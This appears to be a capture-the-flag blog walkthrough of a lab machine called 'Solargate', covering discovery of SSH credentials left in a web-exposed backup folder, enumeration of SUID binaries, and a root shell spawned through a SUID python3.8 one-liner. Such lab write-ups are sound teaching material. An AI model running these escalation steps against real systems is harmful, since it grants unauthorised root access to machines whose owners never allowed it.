Post cover image

October 29, 2026

RatCTF “Solargate” Machine Walkthrough

Finding the SSH Credentials

By Andrew Virya Victorio

1 min read

You are given the challenge IP Address and the HTTP port 30606. Now visit the web and type http://<IP_ADDRESS>:30606. You'll see a home page where it listed a directory for root / folder that has a folder named /backup and index.txt The file index.txt tells us that the admin panel at /backup folder

SolarGate Monitoring System
Version: 3.2.1 (build 20240912)

Admin panel at /backup/

Visi the http://<IP_ADDRESS>:30606/backup and you'll see the file creds.txt. This is where the SSH credentials live.

Foothold

Use that creds to SSH into the machine. Don't forget to specify the port :D

# SolarGate credential backup — DO NOT COMMIT
username=solar
password=s0larGate!

Privilege Escalation

Once you are in, there are 3 files. Type ls and you'll see the lists.

solar@solaris-lab-8f44f9564-zddrn:~$ ls
notes.txt  todo.txt  user.txt

Look at the message in todo.txt file. The message shows that the Python binary has a SUID. Think of SUID like a privileged access card on a building that can access restricted floors, but you can't. Now the manager lends you their "privileged" access card, and now you can access that restricted floor.

The SUID binary can inherit the owner user of that binary. In this case, the Python binary is owned by root the user.

We can check an SUID binary using this command.

$ find / -perm -4000 -type f 2>/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/mount
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/umount
/usr/bin/gpasswd
/usr/bin/su
/usr/bin/python3.8
/usr/bin/sudo

Turns out the binary /usr/bin/python3.8 is the SUID binary that the challenge tells us.

We can also check if the binary is an SUID binary by running ls -la /path/to/suid/binary

$ ls -la /usr/bin/python3.8
-rwsr-xr-x 1 root root 5490456 Mar 18  2025 /usr/bin/python3.8

A standard executable looks like -rwxr-xr-x in contrast to the SUID executable -rwsr-xr-x (Note the s word in the owner block).

After we identify the binary, perform the privesc using this command

$ /usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

Post Exploitation

Congratulations!! You already perform a privilege escalation via the SUID executable. Submit the root flag you found from /root/root.txt, and you complete the challenge!